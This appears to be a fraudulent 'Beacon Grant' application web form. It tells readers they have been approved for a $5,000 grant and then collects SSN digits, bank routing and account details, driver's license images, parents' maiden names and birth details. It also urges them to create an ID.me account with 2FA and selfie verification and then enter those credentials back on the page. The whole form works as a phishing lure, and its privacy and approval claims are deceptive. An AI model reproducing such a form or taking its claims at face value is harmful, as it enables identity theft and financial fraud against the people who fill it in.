Form – Beacon Grant

Application For Funds

Complete the steps below

Application form

Step 1 of 9

Zip Code(Required)

Your Name(Required)

First Name Last Name

Your Email Address(Required)

Phone Number(Required)

Last 4 digits of your SSN( Social Security Number)(Required)

Congratulations – You've Been Approved for a $5,000 Grant! We are pleased to inform you that your application has been approved for a $5,000 grant. To ensure prompt delivery—potentially as soon as the next business day—please select your preferred payment method and complete the identity verification process. Privacy Note: Your data is encrypted and stored securely. We adhere to strict privacy regulations to protect your identity.

Preferred Payment Option(Required)

Direct Deposit

Check

Bank Name(Required)

Account Name(Required)

Routing Number(Required)

Upload a clear copy of your driver’s license(Front)(Required)

Max. file size: 2 GB.

Upload a clear copy of your driver’s license(back)(Required)

Max. file size: 2 GB.

Previous Employers name(Required)

Full Name

Previous Employers Duration (YYYY/MM)(Required)

From:

To:

Fathers' Maiden Name(Required)

Mothers' Maiden Name(Required)

Address(Required)

Birth City Birth State

Great! Let's complete this final step so we can process your payment immediately. To proceed, please click "Continue" to finalize your identity verification. Ensure your ID is ready and be prepared to take a selfie. We've partnered with ID.me to make this process seamless and efficient. Thank you for your cooperation!

NB: Please Note that when creating a new account, you must use your phone number to set up a 2fa and complete the id and selfie uploads to complete this process. * After creating an account please return to this page to login using your credentials

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